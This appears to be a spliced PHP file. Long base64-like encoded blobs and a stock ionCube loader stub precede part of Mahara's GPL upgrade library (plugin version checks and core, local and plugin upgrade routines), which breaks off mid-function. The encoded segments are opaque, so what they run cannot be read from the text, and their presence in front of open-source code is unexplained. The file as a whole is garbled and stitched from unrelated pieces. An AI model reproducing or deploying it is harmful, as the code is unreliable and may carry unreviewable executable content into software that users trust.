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
hkfA+WW=<?php //004fb
if(!extension_loaded('ionCube Loader')){$__oc=strtolower(substr(php_uname(),0,3));$__ln='ioncube_loader_'.$__oc.'_'.substr(phpversion(),0,3).(($__oc=='win')?'.dll':'.so');if(function_exists('dl')){@dl($__ln);}if(function_exists('_il_exec')){return _il_exec();}$__ln='/ioncube/'.$__ln;$__oid=$__id=realpath(ini_get('extension_dir'));$__here=dirname(__FILE__);if(strlen($__id)>1&&$__id[1]==':'){$__id=str_replace('\\','/',substr($__id,2));$__here=str_replace('\\','/',substr($__here,2));}$__rd=str_repeat('/..',substr_count($__id,'/')).$__here.'/';$__i=strlen($__rd);while($__i--){if($__rd[$__i]=='/'){$__lp=substr($__rd,0,$__i).$__ln;if(file_exists($__oid.$__lp)){$__ln=$__lp;break;}}}if(function_exists('dl')){@dl($__ln);}}else{die('The file '.__FILE__." is corrupted.\n");}if(function_exists('_il_exec')){return _il_exec();}echo("Site error: the ".(php_sapi_name()=='cli'?'ionCube':'<a href="http://www.ioncube.com">ionCube</a>')." PHP Loader needs to be installed. This is a widely used PHP extension for running ionCube protected PHP code, website security and malware blocking.\n\nPlease visit ".(php_sapi_name()=='cli'?'get-loader.ioncube.com':'<a href="http://get-loader.ioncube.com">get-loader.ioncube.com</a>')." for install assistance.\n\n");exit(199);
?>
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
0jZ4rP1JJ2AqnGn1j0==<?php
/**
 *
 * @package    mahara
 * @subpackage core
 * @author     Catalyst IT Limited <mahara@catalyst.net.nz>
 * @license    https://www.gnu.org/licenses/gpl-3.0.html GNU GPL version 3 or later
 * @copyright  For copyright information on Mahara, please see the README file distributed with this software.
 *
 */

defined('INTERNAL') || die();

/**
 * Class to use for installation exceptions
 */
class InstallationException extends SystemException {}

require_once('ddl.php');

/**
 * This function checks core and plugins for which need to be upgraded/installed
 *
 * Note: This function is sometimes executed during upgrades from
 * ancient databases.  Avoid rash assumptions about what's installed
 * or these upgrades may fail.
 *
 * @param string $name The name of the plugin to check. If no name is specified,
 *                     all plugins are checked.
 * @return mixed If a name is specified, an object will be returned with upgrade data
 *                     about the requested component (which can be "core", "local", or a plugin).
 *                     If the component desn't need to be updated, an empty array will be returned.
 *               If no name is specified, an array of such objects will be returned.
 *                     It will also include an array key "settings", which will be an array
 *                     that may contain metadata about the upgrade/install process.
 */
function check_upgrades($name=null) {

    $pluginstocheck = plugin_types();

    $toupgrade = array();
    $settings = array();
    $toupgradecount = 0;
    $newinstallcount = 0;
    $installing = false;
    $newinstalls = array();
    // This will be set in version.php below.
    $config = new stdClass();
    require('version.php');
    // check core first...
    if (empty($name) || $name == 'core') {
        try {
            $coreversion = get_config('version');
        }
        catch (Exception $e) {
            $coreversion = 0;
        }
        $corerelease = get_config('release');
        $core = new stdClass();
        $core->to = $config->version;
        $core->torelease = $config->release;
        $core->toseries = $config->series;
        $toupgrade['core'] = $core;
        if (empty($coreversion)) {
            if (is_mysql()) { // Show a more informative error message if using mysql with skip-innodb
                // In MySQL 5.6.x, we run the command 'SHOW ENGINES' to check if InnoDB is enabled or not
                global $db;
                $result = $db->Execute("SHOW ENGINES");
                $hasinnodb = false;
                while (!$result->EOF) {
                    if ($result->fields['Engine'] == 'InnoDB' && ($result->fields['Support'] == 'YES' || $result->fields['Support'] == 'DEFAULT')) {
                        $hasinnodb = true;
                        break;
                    }
                    $result->MoveNext();
                }

                if (!$hasinnodb) {
                    throw new ConfigSanityException("Mahara requires InnoDB tables.  Please ensure InnoDB tables are enabled in your MySQL server.");
                }
            }
            $core->install = true;
            $installing = true;
        }
        else if ($config->version > $coreversion) {
            if (isset($config->minupgradefrom) && isset($config->minupgraderelease)
                && $coreversion < $config->minupgradefrom) {
                throw new ConfigSanityException("Must upgrade to $config->minupgradefrom "
                                          . "($config->minupgraderelease) first "
                                          . " (you have $coreversion ($corerelease)");
            }
            $toupgradecount ++;
            $core->upgrade = true;
            $core->from = $coreversion;
            $core->fromrelease = $corerelease;
        }
        else if ($config->version < $coreversion) {
            // Core can't be upgraded. Remove it from the list!
            unset($toupgrade['core']);
            if (get_config('productionmode')) {
                throw new ConfigSanityException("Database version of Mahara $corerelease ($coreversion) is newer "
                                            . "than files version $config->release ($config->version). "
                                            . "Please make sure you have the correct Mahara files in place.");
            }
            else {
                if (!defined('SITEOUTOFSYNC')) {
                    define('SITEOUTOFSYNC', 'core');
                }
            }
        }
        else {
            // Core doesn't need to be upgraded. Remove it from the list!
            unset($toupgrade['core']);
        }
    }

    // If we were just checking if the core needed to be upgraded, we can stop here
    if ($name == 'core') {
        return $toupgrade['core'];
    }

    if (!$installing && (empty($name) || $name == 'local')) {
        $localversion = get_config('localversion');
        $localrelease = get_config('localrelease');
        if (is_null($localversion)) {
            $localversion = 0;
            $localrelease = 0;
        }

        $config = new stdClass();
        require(get_config('docroot') . 'local/version.php');

        if ($config->version > $localversion) {
            $toupgradecount ++;
            $toupgrade['local'] = (object) array(
                'upgrade'     => true,
                'from'        => $localversion,
                'fromrelease' => $localrelease,
                'to'          => $config->version,
                'torelease'   => $config->release,
            );
        }

        if ($name == 'local') {
            return $toupgrade['local'];
        }
    }

    $plugins = array();
    if (!empty($name)) {
        try {
            $bits = explode('.', $name);
            $pt = $bits[0];
            $pn = $bits[1];
            $pp = null;
            if ($pt == 'blocktype' && strpos($pn, '/') !== false) {
                $bits = explode('/', $pn);
                $pp = get_config('docroot') . 'artefact/' . $bits[0]  . '/blocktype/' . $bits[1];
            }
            validate_plugin($pt, $pn, $pp);
            $plugins[] = explode('.', $name);
        }
        catch (InstallationException $_e) {
            log_warn(get_string('pluginnotinstallable', 'mahara', $pt, $pn) . $_e->GetMessage());
        }
    }
    else {
        foreach ($pluginstocheck as $plugin) {
            $dirhandle = opendir(get_config('docroot') . $plugin);
            while (false !== ($dir = readdir($dirhandle))) {
                if (strpos($dir, '.') === 0 or 'CVS' == $dir) {
                    continue;
                }
                $plugin_dir = get_config('docroot') . $plugin . '/' . $dir;
                if (!is_dir($plugin_dir)) {
                    continue;
                }
                try {
                    validate_plugin($plugin, $dir);
                    $plugins[] = array($plugin, $dir);
                }
                catch (InstallationException $_e) {
                    log_warn(get_string('pluginnotinstallable', 'mahara', $plugin, $dir) . $_e->GetMessage(), true , false);
                }

                if ($plugin == 'artefact') { // go check it for blocks as well
                    $btlocation = $plugin_dir . '/blocktype';
                    if (!is_dir($btlocation)) {
                        continue;
                    }
                    $btdirhandle = opendir($btlocation);
                    while (false !== ($btdir = readdir($btdirhandle))) {
                        if (strpos($btdir, '.') === 0 or 'CVS' == $btdir) {
                            continue;
                        }
                        if (!is_dir(get_config('docroot') . $plugin . '/' . $dir . '/blocktype/' . $btdir)) {
                            continue;
                        }
                        $plugins[] = array('blocktype', $dir . '/' . $btdir);
                    }
                }
            }
        }
    }
    $outofsyncplugins = array();
    foreach ($plugins as $plugin) {
        $plugintype = $plugin[0];
        $pluginname = $plugin[1];
        $pluginpath = "$plugin[0]/$plugin[1]";
        $pluginkey  = "$plugin[0].$plugin[1]";

        if ($plugintype == 'blocktype' && strpos($pluginname, '/') !== false) {
            // sigh.. we're a bit special...
            $bits = explode('/', $pluginname);
            $pluginpath = 'artefact/' . $bits[0] . '/blocktype/' . $bits[1];
        }

        // Don't try to get the plugin info if we are installing - it will
        // definitely fail
        $pluginversion = 0;
        $pluginrelease = 0;
        if (!$installing && table_exists(new XMLDBTable($plugintype . '_installed'))) {
            if ($plugintype == 'blocktype' && strpos($pluginname, '/')) {
                $bits = explode('/', $pluginname);
                $installed = get_record('blocktype_installed', 'name', $bits[1], 'artefactplugin', $bits[0]);
            }
            else {
                $installed = get_record($plugintype . '_installed', 'name', $pluginname);
            }
            if ($installed) {
                $pluginversion = $installed->version;
                $pluginrelease =  $installed->release;
            }
        }

        $config = new stdClass();
        require(get_config('docroot') . $pluginpath . '/version.php');

        $classname = generate_class_name($plugintype, $pluginname);
        safe_require($plugintype, $pluginname);
        // Check if there is a displayname
        $plugindisplayname = $classname::get_plugin_display_name();

        if (empty($pluginversion)) {
            $newinstall = false;
            if (empty($installing) && $pluginkey != $name) {
                $newinstall = true;
            }
            $plugininfo = new stdClass();
            $plugininfo->install = true;
            $plugininfo->to = $config->version;
            $plugininfo->torelease = $config->release;
            if (property_exists($config, 'requires_config')) {
                $plugininfo->requires_config = $config->requires_config;
            }
            if (property_exists($config, 'requires_parent')) {
                $plugininfo->requires_parent = $config->requires_parent;
            }
            $plugininfo->displayname = $plugindisplayname;

            try {
                $classname::sanity_check();
            }
            catch (InstallationException $exc) {
                $plugininfo->to = get_string('notinstalled', 'admin');
                $plugininfo->torelease = get_string('notinstalled', 'admin');
                $plugininfo->errormsg = $exc->getMessage();
            }

            if ($newinstall) {
                $plugininfo->from = get_string('notinstalled', 'admin');
                $plugininfo->fromrelease = get_string('notinstalled', 'admin');
                $plugininfo->newinstall = true;
                $newinstallcount ++;
                $newinstalls[$pluginkey] = $plugininfo;
            }
            else {
                $toupgrade[$pluginkey] = $plugininfo;
            }
        }
        else if ($config->version > $pluginversion) {
            if (isset($config->minupgradefrom) && isset($config->minupgraderelease)
                && $pluginversion < $config->minupgradefrom) {
                throw new ConfigSanityException("Must upgrade to $config->minupgradefrom "
                                          . " ($config->minupgraderelease) first "
                                          . " (you have $pluginversion ($pluginrelease))");
            }
            $toupgradecount++;
            $plugininfo = new stdClass();
            $plugininfo->upgrade = true;
            $plugininfo->from = $pluginversion;
            $plugininfo->fromrelease = $pluginrelease;
            $plugininfo->to = $config->version;
            $plugininfo->torelease = $config->release;
            if (property_exists($config, 'requires_config')) {
                $plugininfo->requires_config = $config->requires_config;
            }
            if (property_exists($config, 'requires_parent')) {
                $plugininfo->requires_parent = $config->requires_parent;
            }
            $plugininfo->displayname = $plugindisplayname;

            try {
                $classname::sanity_check();
            }
            catch (InstallationException $exc) {
                $plugininfo->to = $config->version;
                $plugininfo->torelease = $pluginrelease;
                $plugininfo->errormsg = $exc->getMessage();
                $toupgrade[$pluginkey] = $plugininfo;

                continue;
            }

            $toupgrade[$pluginkey] = $plugininfo;
        }
        else if ($config->version < $pluginversion) {
            $plugindisplayname = !empty($plugindisplayname) ? $plugindisplayname : (!empty($config->name) ? $config->name : $pluginpath);
            if (get_config('productionmode')) {
                throw new ConfigSanityException("Database version of Mahara plugin " . $plugindisplayname . " "
                                            . $pluginrelease . " (" . $pluginversion . ") is newer "
                                            . "than files version " . $config->release . " (" . $config->version . "). "
                                            . "Please make sure you have the correct Mahara plugin files in place.");
            }
            else {
                $outofsyncplugins[] = $plugindisplayname;
            }
        }
    }
    if (!empty($outofsyncplugins)) {
        if (!defined('SITEOUTOFSYNC')) {
            define('SITEOUTOFSYNC', implode(', ', $outofsyncplugins));
        }
    }
    // if we've just asked for one, don't return an array...
    if (!empty($name)) {
        if (count($toupgrade) == 1) {
            $upgrade = new stdClass();
            $upgrade->name = $name;
            foreach ((array)$toupgrade[$name] as $key => $value) {
                $upgrade->{$key} = $value;
            }
            return $upgrade;
        }
        else {
            return array();
        }
    }

    // If we get here, it's because we have an array of objects to return
    $toupgrade = sort_upgrade_order($toupgrade);
    $settings['newinstallcount'] = $newinstallcount;
    $settings['newinstalls'] = $newinstalls;
    $settings['toupgradecount'] = $toupgradecount;
    $toupgrade['settings'] = $settings;
    return $toupgrade;
}

/**
 * Upgrades the core system to given upgrade version.
 *
 * @param object $upgrade   The version to upgrade to
 * @return bool             Whether the upgrade succeeded or not
 * @throws SQLException     If the upgrade failed due to a database error
 */
function upgrade_core($upgrade) {
    global $db;

    $location = get_config('libroot') . 'db/';

    db_begin();

    if (!empty($upgrade->install)) {
        install_from_xmldb_file($location . 'install.xml');
    }
    else {
        require_once($location . 'upgrade.php');
        xmldb_core_upgrade($upgrade->from);
    }

    set_config('version', $upgrade->to);
    set_config('release', $upgrade->torelease);
    set_config('series', $upgrade->toseries);
    bump_cache_version();
    cron_check_for_updates();

    if (!empty($upgrade->install)) {
        core_postinst();
    }

    db_commit();
    return true;
}

/**
 * Upgrades local customisations.
 *
 * @param object $upgrade   The version to upgrade to
 * @return bool             Whether the upgrade succeeded or not
 * @throws SQLException     If the upgrade failed due to a database error
 */
function upgrade_local($upgrade) {
    db_begin();

    require_once(get_config('docroot') . 'local/upgrade.php');
    xmldb_local_upgrade($upgrade->from);

    set_config('localversion', $upgrade->to);
    set_config('localrelease', $upgrade->torelease);
    bump_cache_version();

    db_commit();
    return true;
}

/**
 * Upgrades the plugin to a new version
 *
 * Note: This function is sometimes executed during upgrades from
 * ancient databases.  Avoid rash assumptions about what's installed
 * or these upgrades may fail.
 *
 * @param object $upgrade   Information about the plugin to upgrade
 * @return bool             Whether the upgrade succeeded or not
 * @throws SQLException     If the upgrade failed due to a database error
 */
function upgrade_plugin($upgrade) {
    global $db;

    $plugintype = '';
    $pluginname = '';

    list($plugintype, $pluginname) = explode('.', $upgrade->name);

    if ($plugintype == 'blocktype' && strpos($pluginname, '/') !== false) {
        list($artefactplugin, $blocktypename) = explode('/', $pluginname);
        $location = get_config('docroot') . 'artefact/' . $artefactplugin . '/blocktype/' . $blocktypename . '/db/';
        $function = 'xmldb_' . $plugintype . '_' . $blocktypename . '_upgrade';
    }
    else {
        $location = get_config('docroot') . $plugintype . '/' . $pluginname . '/db/';
        $function = 'xmldb_' . $plugintype . '_' . $pluginname . '_upgrade';
    }

    db_begin();

